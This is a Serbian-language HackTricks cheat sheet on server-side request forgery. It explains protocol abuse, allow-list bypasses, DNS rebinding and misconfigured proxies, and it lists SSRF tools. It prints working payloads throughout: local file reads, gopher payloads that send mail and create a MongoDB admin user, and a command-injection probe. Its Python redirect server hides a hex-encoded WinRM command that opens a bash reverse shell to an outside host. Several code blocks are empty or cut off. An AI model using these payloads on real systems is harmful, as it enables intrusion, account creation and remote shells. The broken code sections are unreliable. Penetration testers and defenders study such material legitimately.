# SSRF (Server Side Request Forgery)
\ Koristite [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=ssrf-server-side-request-forgery) za lako kreiranje i **automatizaciju radnih tokova** pokretanih najnaprednijim **alatima** zajednice.\ Pribavite pristup danas: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %} {% hint style="success" %} Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Podrška HackTricks * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
{% endhint %} ## Osnovne informacije **Server-side Request Forgery (SSRF)** ranjivost se javlja kada napadač manipuliše **aplikacijom na serveru** da pravi **HTTP zahteve** ka domenima po svom izboru. Ova ranjivost izlaže server proizvoljnim spoljnim zahtevima koje usmerava napadač. ## Zabeležite SSRF Prva stvar koju treba da uradite je da zabeležite SSRF interakciju koju ste generisali. Da biste zabeležili HTTP ili DNS interakciju, možete koristiti alate kao što su: * **Burp Collaborator** * [**pingb**](http://pingb.in) * [**canarytokens**](https://canarytokens.org/generate) * [**interractsh**](https://github.com/projectdiscovery/interactsh) * [**http://webhook.site**](http://webhook.site) * [**https://github.com/teknogeek/ssrf-sheriff**](https://github.com/teknogeek/ssrf-sheriff) * [http://requestrepo.com/](http://requestrepo.com/) * [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness) * [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - Burp Collaborator koristeći ngrok ## Zaobilaženje dozvoljenih domena Obično ćete otkriti da SSRF funkcioniše samo u **određenim dozvoljenim domenima** ili URL-ovima. Na sledećoj stranici imate **kompilaciju tehnika za pokušaj zaobilaženja te liste**: {% content-ref url="url-format-bypass.md" %} [url-format-bypass.md](url-format-bypass.md) {% endcontent-ref %} ### Zaobilaženje putem otvorenog preusmeravanja Ako je server pravilno zaštićen, mogli biste **zaobići sve restrikcije iskorišćavanjem otvorenog preusmeravanja unutar web stranice**. Pošto će web stranica dozvoliti **SSRF ka istom domenu** i verovatno će **pratiti preusmeravanja**, možete iskoristiti **otvoreno preusmeravanje da naterate server da pristupi bilo kojem internom resursu**.\ Pročitajte više ovde: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf) ## Protokoli * **file://** * URL šema `file://` se referencira, ukazujući direktno na `/etc/passwd`: `file:///etc/passwd` * **dict://** * DICT URL šema se opisuje kao korišćena za pristup definicijama ili listama reči putem DICT protokola. Dati primer ilustruje konstruisani URL koji cilja određenu reč, bazu podataka i broj unosa, kao i primer PHP skripte koja se potencijalno može zloupotrebiti za povezivanje sa DICT serverom koristeći napadačem obezbeđene akreditive: `dict://;@:/d:::` * **SFTP://** * Identifikovan kao protokol za sigurni prenos datoteka preko sigurnog šela, dat je primer kako se PHP skripta može zloupotrebiti za povezivanje sa zlonamernim SFTP serverom: `url=sftp://generic.com:11111/` * **TFTP://** * Trivial File Transfer Protocol, koji radi preko UDP, pominje se sa primerom PHP skripte dizajnirane da pošalje zahtev TFTP serveru. TFTP zahtev se šalje na 'generic.com' na portu '12346' za datoteku 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET` * **LDAP://** * Ovaj segment pokriva Lightweight Directory Access Protocol, naglašavajući njegovu upotrebu za upravljanje i pristup distribuiranim informacijama o direktorijumima preko IP mreža. Interakcija sa LDAP serverom na localhost: `'%0astats%0aquit' putem ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.` * **SMTP** * Opisuje se metoda za iskorišćavanje SSRF ranjivosti za interakciju sa SMTP uslugama na localhost-u, uključujući korake za otkrivanje internih imena domena i dalja istraživačka delovanja na osnovu tih informacija. ``` From https://twitter.com/har1sec/status/1182255952055164929 1. connect with SSRF on smtp localhost:25 2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail 3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains 4. connect ``` * **Curl URL globbing - WAF zaobilaženje** * Ako se SSRF izvršava putem **curl**, curl ima funkciju nazvanu [**URL globbing**](https://everything.curl.dev/cmdline/globbing) koja može biti korisna za zaobilaženje WAF-ova. Na primer, u ovom [**writeup-u**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) možete pronaći ovaj primer za **putanju prelazaka putem `file` protokola**: ``` file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt} ``` * **Gopher://** * Diskutuje se o sposobnosti Gopher protokola da specificira **IP, port i bajtove** za komunikaciju sa serverom, zajedno sa alatima kao što su Gopherus i remote-method-guesser za kreiranje payload-a. Ilustrovana su dva različita korišćenja: ### Gopher:// Korišćenjem ovog protokola možete specificirati **IP, port i bajtove** koje želite da server **pošalje**. Tada možete u suštini iskoristiti SSRF da **komunicirate sa bilo kojim TCP serverom** (ali prvo morate znati kako da razgovarate sa uslugom).\ Na sreću, možete koristiti [Gopherus](https://github.com/tarunkant/Gopherus) za kreiranje payload-a za nekoliko usluga. Pored toga, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) se može koristiti za kreiranje _gopher_ payload-a za _Java RMI_ usluge. **Gopher smtp** ``` ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a will make a request like HELO localhost MAIL FROM: RCPT TO: DATA From: [Hacker] To: Date: Tue, 15 Sep 2017 17:20:26 -0400 Subject: Ah Ah AHYou didn't say the magic word ! . QUIT ``` **Gopher HTTP** ```bash #For new lines you can use %0A, %0D%0A gopher://:8080/_GET / HTTP/1.0%0A%0A gopher://:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body ``` **Gopher SMTP — Povratna veza na 1337** {% code title="redirect.php" %} ```php Now query it. https://example.com/?q=http://evil.com/redirect.php. ``` {% endcode %} #### Gopher MongoDB -- Kreirajte korisnika sa korisničkim imenom=admin, sa lozinkom=admin123 i sa dozvolom=administrator ```bash # Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0 7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a %00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00% 06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00 %00%00administrator%00%00%00%00' ``` ## SSRF putem Referrer header-a i drugih Analitički softver na serverima često beleži Referrer header kako bi pratio dolazne linkove, praksa koja nenamerno izlaže aplikacije ranjivostima Server-Side Request Forgery (SSRF). To je zato što takav softver može posetiti spoljne URL-ove navedene u Referrer header-u kako bi analizirao sadržaj referalnih sajtova. Da bi se otkrile ove ranjivosti, preporučuje se Burp Suite dodatak "**Collaborator Everywhere**", koji koristi način na koji analitički alati obrađuju Referer header za identifikaciju potencijalnih površina napada SSRF. ## SSRF putem SNI podataka iz sertifikata Pogrešna konfiguracija koja bi mogla omogućiti vezu sa bilo kojim backend-om kroz jednostavnu postavku ilustrovana je primerom Nginx konfiguracije: ``` stream { server { listen 443; resolver 127.0.0.11; proxy_pass $ssl_preread_server_name:443; ssl_preread on; } } ``` U ovoj konfiguraciji, vrednost iz polja Server Name Indication (SNI) se direktno koristi kao adresa backend-a. Ova postavka izlaže ranjivost Server-Side Request Forgery (SSRF), koja se može iskoristiti jednostavnim navođenjem željene IP adrese ili imena domena u SNI polju. Primer iskorišćavanja za forsiranje veze sa proizvoljnim backend-om, kao što je `internal.host.com`, koristeći `openssl` komandu je dat u nastavku: ```bash openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf ``` ## [Wget file upload](../file-upload/#wget-file-upload-ssrf-trick) ## SSRF sa Command Injection Možda bi vredelo probati payload kao što je: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` `` ## PDF Renderovanje Ako web stranica automatski kreira PDF sa nekim informacijama koje ste pružili, možete **ubaciti neki JS koji će biti izvršen od strane PDF kreatora** (servera) dok kreira PDF i moći ćete da zloupotrebite SSRF. [**Pronađite više informacija ovde**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.** ## Od SSRF do DoS Kreirajte nekoliko sesija i pokušajte da preuzmete teške fajlove koristeći SSRF iz sesija. ## SSRF PHP Funkcije Proverite sledeću stranicu za ranjive PHP i čak Wordpress funkcije: {% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} [php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md) {% endcontent-ref %} ## SSRF Preusmeravanje na Gopher Za neka eksploatisanja možda će vam biti potrebno da **pošaljete preusmeravajući odgovor** (potencijalno da koristite drugačiji protokol kao što je gopher). Ovde imate različite python kodove za odgovor sa preusmeravanjem: ```python # First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes from http.server import HTTPServer, BaseHTTPRequestHandler import ssl class MainHandler(BaseHTTPRequestHandler): def do_GET(self): print("GET") self.send_response(301) self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a") self.end_headers() httpd = HTTPServer(('0.0.0.0', 443), MainHandler) httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True) httpd.serve_forever() ``` ```python from flask import Flask, redirect from urllib.parse import quote app = Flask(__name__) @app.route('/') def root(): return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301) if __name__ == "__main__": app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) ```
\ Koristite [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=ssrf-server-side-request-forgery) za lako kreiranje i **automatizaciju radnih tokova** pokretanih najnaprednijim **alatima** zajednice.\ Pribavite pristup danas: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %} ## Loše konfigurisani proksi za SSRF Trikovi [**iz ovog posta**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies). ### Flask
Flask proksi ranjivi kod ```python from flask import Flask from requests import get app = Flask('__main__') SITE_NAME = 'https://google.com' @app.route('/', defaults={'path': ''}) @app.route('/') def proxy(path): return get(f'{SITE_NAME}{path}').content if __name__ == "__main__": app.run(threaded=False) ```
Flask omogućava korišćenje **`@`** kao početnog karaktera, što omogućava da se **početno ime hosta postavi kao korisničko ime** i injektuje novo. Napadni zahtev: ```http GET @evildomain.com/ HTTP/1.1 Host: target.com Connection: close ``` ### Spring Boot Ranjiv kod:
Otkriveno je da je moguće **početi putanju** zahteva sa karakterom **`;`** što omogućava korišćenje **`@`** i injektovanje novog hosta za pristup. Napadni zahtev: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` ### PHP ugrađeni web server
Ranljiv PHP kod ```php ```
PHP omogućava korišćenje **karaktera `*` pre kose crte u putanji** URL-a, međutim, ima i druga ograničenja kao što su da se može koristiti samo za korenski put `/` i da tačke `.` nisu dozvoljene pre prve kose crte, tako da je potrebno koristiti IP adresu kodiranu u heksadecimalnom formatu bez tačaka, na primer: ```http GET *@0xa9fea9fe/ HTTP/1.1 Host: target.com Connection: close ``` ## DNS Rebidding CORS/SOP bypass Ako imate **problema** da **izvršite eksfiltraciju sadržaja sa lokalne IP adrese** zbog **CORS/SOP**, **DNS Rebidding** se može koristiti za zaobilaženje te ograničenja: {% content-ref url="../cors-bypass.md" %} [cors-bypass.md](../cors-bypass.md) {% endcontent-ref %} ### Automated DNS Rebidding [**`Singularity of Origin`**](https://github.com/nccgroup/singularity) je alat za izvođenje [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) napada. Uključuje potrebne komponente za ponovo povezivanje IP adrese napadačkog servera sa IP adresom ciljne mašine i za serviranje napadačkih payload-a za eksploataciju ranjivog softvera na ciljnoj mašini. Pogledajte takođe **javni server koji radi na** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html) ## DNS Rebidding + TLS Session ID/Session ticket Zahtevi: * **SSRF** * **Izlazne TLS sesije** * **Stvari na lokalnim portovima** Napad: 1. Zatražite od korisnika/bota da **pristupi** **domeni** koju kontroliše **napadač** 2. **TTL** **DNS-a** je **0** sek (tako da će žrtva uskoro ponovo proveriti IP domena) 3. **TLS veza** se uspostavlja između žrtve i domena napadača. Napadač ubacuje **payload unutar** **Session ID ili Session Ticket**. 4. **Domena** će započeti **beskonačnu petlju** preusmeravanja protiv **sebe**. Cilj ovoga je da se korisnik/bot ponovo poveže na domen dok ne izvrši **ponovo** **DNS zahtev** za domen. 5. U DNS zahtevu se sada daje **privatna IP** adresa (na primer 127.0.0.1) 6. Korisnik/bot će pokušati da **ponovo uspostavi TLS vezu** i da bi to uradio, **poslaće** **Session** ID/Ticket ID (gde je bio sadržan **payload** napadača). Čestitamo, uspeli ste da zatražite da se **korisnik/bot napadne sam**. Napomena: tokom ovog napada, ako želite da napadnete localhost:11211 (_memcache_), morate naterati žrtvu da uspostavi inicijalnu vezu sa www.attacker.com:11211 ( **port mora uvek biti isti**).\ Da **izvršite ovaj napad možete koristiti alat**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\ Za **više informacija** pogledajte predavanje gde je ovaj napad objašnjen: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference) ## Blind SSRF Razlika između slepog SSRF-a i neslepog je u tome što u slepom ne možete videti odgovor na SSRF zahtev. Tada je teže eksploatisati jer ćete moći da eksploatišete samo dobro poznate ranjivosti. ### Time based SSRF **Proverom vremena** odgovora sa servera može biti **moguće znati da li resurs postoji ili ne** (možda je potrebno više vremena za pristupanje postojećem resursu nego za pristupanje onom koji ne postoji) ## Cloud SSRF Exploitation Ako pronađete SSRF ranjivost na mašini koja radi unutar cloud okruženja, možda ćete moći da dobijete zanimljive informacije o cloud okruženju i čak i akreditive: {% content-ref url="cloud-ssrf.md" %} [cloud-ssrf.md](cloud-ssrf.md) {% endcontent-ref %} ## SSRF Vulnerable Platforms Nekoliko poznatih platformi sadrži ili je sadržalo SSRF ranjivosti, proverite ih u: {% content-ref url="ssrf-vulnerable-platforms.md" %} [ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md) {% endcontent-ref %} ## Tools ### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap) Alat za otkrivanje i eksploataciju SSRF ranjivosti ### [Gopherus](https://github.com/tarunkant/Gopherus) * [Blog post on Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/) Ovaj alat generiše Gopher payload-e za: * MySQL * PostgreSQL * FastCGI * Redis * Zabbix * Memcache ### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) * [Blog post on SSRF usage](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/) _remote-method-guesser_ je _Java RMI_ skener ranjivosti koji podržava napadne operacije za većinu uobičajenih _Java RMI_ ranjivosti. Većina dostupnih operacija podržava `--ssrf` opciju, za generisanje _SSRF_ payload-a za traženu operaciju. Zajedno sa `--gopher` opcijom, spremni za korišćenje _gopher_ payload-i mogu se generisati direktno. ### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy) SSRF Proxy je višedretveni HTTP proxy server dizajniran da tuneluje HTTP saobraćaj klijenata kroz HTTP servere ranjive na Server-Side Request Forgery (SSRF). ### To practice {% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %} ## References * [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery) * [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/) * [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
{% endhint %}
\ Koristite [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=ssrf-server-side-request-forgery) za lako kreiranje i **automatizaciju radnih tokova** pokretanih najnaprednijim **alatima zajednice**.\ Dobijte pristup danas: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}